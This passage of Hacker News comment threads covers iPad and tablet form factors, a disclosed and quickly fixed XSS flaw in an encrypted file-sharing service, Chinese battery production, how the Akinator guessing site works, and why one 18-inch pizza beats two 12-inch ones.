After that became apparent I did make one prediction that I'll stand by: many clones will be announced, only a few of them will ship and they'll suck for at least the first year. Maybe two.

We're in year what? 9? of the iPod and yet the competition still isn't as slick. I see the same future for the iPad. There will be the iPad and "the rest".

As for Tim's arguments:

1\. Phones aren't going away: agreed.

2\. Pocket creep: disagree. I like the size of the iPhone 4. The 4"+ phones just seem a little too big;

3\. 10" for sharing: I don't really accept the premise. I view the iPad as a very personal (even intimate) computing device. Passing it back and forth isn't really what I'd call sharing. You can do that with anything you can pick up. Sharing I would view as two or more people looking at it at the same time;

4\. 7" for personal: disagree. Many people, myself include, love the size of the iPad. Eyesight comes into this as well, particularly for older users. 7" to me fails the pocket test and (imho) the pocket test will be the differentiator in form factors.

Also regarding weight: on the couch it sits on your lap. When lying down you rest it on your chest. When at a desk or table it's on that surface. On a plane I rest my arm on the armrest or lap and hold the iPad. Basically I'm never holding it in the air. I believe this is a common "beginner mistake". It's natural but you quickly learn better. Another common error: holding it by it's edge rather than your hand underneath in the center of gravity, which is much much easier.

5\. No bigger: agree.

6\. Battery life: agree. It seems Apple will be the king of battery life for some time to come.

7\. Cameras: disagree. Cameras work for PCs and notebooks because the position (at the top of the screen, typically) is eye level. In none of the aforementioned positions would a front facing camera be at a natural or flattering position. I'm not saying cameras won't be added but I don't think the use case is as compelling as some make out.

Basically, who wants to look up someone's nostrils?

As for rear cameras, the weight issue once again comes into play. No one wants to hold it up.

8\. Creativity: creative people will do creative things on tablets. Uncreative people won't. It's really as simple as that. Frankly, I found the argument that the iPad is purely a consumption device to be condescending, even pretentious. I do agree that you won't see any serious programming done on tablets. You need a keyboard, mouse and large display for that.

9\. Aspect ratio: I can't see these things going to 16:10 or 16:9. They simply don't have the height for it (I make the same argument when some people inexplicably buy 19" widescreen monitors: they're letter boxes).

10\. Games: tablets are great for these. I certainly play Angry Birds on my iPad.

Where I believe the Galaxy Tab really falls down is that _it seems_ to be tied to carriers and a 2 year contract. That's a big fail right there and something the iPad got absolutely right.

Leaked prices also suggest it's $399... on a 2 year contract.

<comment><USER11> For home sharing some sort of accounts support would be great for a tablet. Contractually I'm not allowed to have even family members accessing my calendar, email, browser passwords etc.

<comment><USER6> Apple has a similar problem in some ways to what Windows had: Windows developed as a GUI layer on top of DOS. DOS and early Windows were single user operating systems. All the multi-user stuff that has come to Windows since has felt tacked on. *nix on the other hand was built from the ground up as a multi-user OS.

The iPad is less elegant in this scenario. I believe this highlights Apple's philosophy that the iPad is a personal computing device more than anything else. So rather than creating a complicated multi-user system, they opted for simplicity.

On a side note: your calendar and mail problem can probably be solved by using restrictions to put passwords on those apps, which you should probably have anyway if the content is sensitive.

</comment></comment></comment><comment><USER13> I'd be curious to try out a 7" tablet. Right now, the iPad seems like the perfect size for reading technical PDF's. I don't think (but am not sure) that a 7" tablet would accomplish that well.

<comment><USER10> Even on the iPad, the display is only the size of a half-sheet of paper.

</comment></comment><comment><USER4> I found it surprising how little experience he seems to have with the iPad — he even says he hasn't played _any_ games on one. If I were in his position I'd have dabbled with every major genre of app _at least_ a little bit to get a feel for what this new category of devices is like and what the possibilities/strengths/weaknesses are... hell, I've done that and I'm just a consumer/pretend-iPad-developer.</comment>


Stealing private keys from a secure file sharing service - <AUTHOR> https://timvisee.com/blog/stealing-private-keys-from-secure-file-sharing-service/ <comment><USER2> We're meant to give credit to a service that fixed an XSS vulnerability in an hour, and that is indeed a better-than-market turnaround time for an XSS bugfix.

But consider an alternative perspective: this is a company that was offering users "encrypted" file transfer mediated by clientside browser Javascript, in which there is only dubious, marginal cryptographic separation between customers and the service itself, which could just as easily serve targeted customers surreptitious DOM updates to override their claimed security capabilities.

But that _fundamental_ problem didn't matter, because the service didn't even sanitize basic, obvious user data, and was exposed to a trivial XSS.

<comment><USER3> Aren't you professionally paid to fix these kinds of problems? You would be out of work if every developer and product manager put exhaustive pen testing on its to-do list prior to launch.

First to market is your bread and butter, tptacek.

<comment><USER4> (disclaimer: I'm one of the creators of this very unnamed service)

The XSS-issue that was found by Tim was indeed a very fundamental problem which shouldn't have been in there. We are very happy he disclosed the information with us so we could fix it directly.

We hired a couple of professional hackers to audit our service but launched simultaneously. Biggest lesson for us: finish the audit first, launch afterwards :-)

<comment><USER3> I'm going to give your tech team the benefit of the doubt that it would have responded to information quickly if it had that information.

Lessons learned here: pay your pen testers quickly because their findings can affect the reputation of your company, don't launch without responding to audit results, don't bullshit people working in high tech industries about what was happening simultaneously, don't blame tech staff for business decisions

</comment></comment></comment></comment><comment><USER5> 1 hour to fix the issue? You should give them some advertising. Hint: a phrase from the video is all you need.

<comment><USER6> Hmm, how about no? "We launched an encrypted file transfer tool, but we forgot to sanitize input" is somewhat pathetic in 2019. What else has saferequest.net fucked up?

<comment><USER4> (hi, I'm one of the creators)

Hopefully we fucked up nothing else but please do let us know if we did :-) We do sanitize all input but unfortunately this one slipped through.

</comment></comment></comment><comment><USER7> If they'd used webcrypto the private key wouldn't be extractable.

<comment><USER8> As long as the proper extractable=false options are set.

I'm doing a project utilizing subtle crypto and I'm, right now, doing an audit to ensure I've got that setup correctly everywhere.

</comment></comment><comment><USER9> Wouldn't Content Security Policy prevents the execution of inline script? Or have they not use CSP at all?

<comment><USER4> Fixed as of now :-)</comment></comment>


China Is About to Bury Elon Musk in Batteries - <AUTHOR> https://www.bloomberg.com/news/articles/2017-06-28/china-is-about-to-bury-elon-musk-in-batteries <comment><USER2> If anyone knows: what's the production volume histogram across the spectrum from sawdust-filled / sloppy process batteries on one side to Panasonic/Tesla quality (or better?) on the other?

<comment><USER2> PS: I'm currently shopping for an road bicycle headlight that takes repairable packs or individual cells made from 18650's so I can retrofit with NCR18650B's (or equally good cells) at some point.</comment></comment>


Ask HN: How does this online guessing site work? - <AUTHOR>

http://en.akinator.com/<p>I'm quite amazed at how its able to guess even obscure people. <comment><USER2> It's just an expert system coupled to some sort of database (possibly Wikipedia). Every time someone plays the game it records their answers. As more and more people play it gets more and more data about each character, and consequently more accurate. I imagine eventually it gives up and asks you who you meant - and adds that character to the database. Given that I picked Brian Cox and it said 7500 people had picked him before, it clearly has _a lot_ of data to work with.

What's more interesting (to me) is _why_ someone created this game. Maybe it's to sell ads, but that database has to be quite valuable as a corpus of information about relatively famous people... You could produce some fascinating network graphs from it.

</comment><comment><USER3> It's just a kind of "binary search" among different characteristics.

Every answer narrows down the number of the persons. "Man or woman", for example, halfs the available search space. The subject being "French" makes it 100 times smaller (ignore all non-French entries in its database), etc.

Plus, depending of how the coded it, it can learn new people too (it asks you if it can't guess after enough tries). Most people (and it's used by 100s of thousands) ask for the same persons more or less (current stars, politicians, famous authors and painters, musicians, religious figures, comic heroes etc).

And what people consider "obscure" is not always really obscure either. E.g some might think that, say, Captain Beefheart is obscure. And compared to Justin Bieber he is. But he too is known by hundrends of thousands, so, he's not really difficult to find and store in a database of musicians.

I've had it stumble several times with more obscure people (e.g out of mainstream musicians), and in the end it gave up and asked me their names.

(Btw, the website also has a mobile app available, at least for iOS).

<comment><AUTHOR> But isnt the hard part building the database ? I'm from South India and it knows about some small time south indian actresses. Either someone manually put it all in or they have a very smart crawler.

<comment><USER4> I think it's part manual entry and part user generated content. If the site fails to answer your question, you'll be prompted to type in who you thought of, and it'll add them to its database. So it's quite likely someone already thought of your small time actresses and added them in.

</comment></comment></comment><comment><USER5> Probably based on something similar to 20q.net. Here's the patent application [http://worldwide.espacenet.com/publicationDetails/biblio?CC=...](http://worldwide.espacenet.com/publicationDetails/biblio?CC=EP&NR=1710735&KC=&FT=E&locale=en_EP)

</comment><comment><USER6> It didn't get Klayton of Celldweller, but it did guess (among others) Brett from Blue Stahli, who is signed to Klayton's record label, so pretty close :)

</comment><comment><USER7> Clickable: [http://en.akinator.com/](http://en.akinator.com/)

</comment><comment><USER8> It's actually just Jon Skeet.</comment>


One 18 inch pizza has more 'pizza' than two 12 inch pizzas - <AUTHOR> https://twitter.com/fermatslibrary/status/1082273172114862083 <comment><USER2> Another way to think about it: It's because 1.5 > √2.

To exactly double the area of a figure, scale any linear dimension up by √2. If you scale by more than that, you'll more than double the area.

</comment><comment><USER3> For area, the change in size is the square of the old:new ratio.

Two dimensions, so X * X

For volume, the change in size is the cube of the old:new ratio.

Three dimensions, so X * X * X</comment>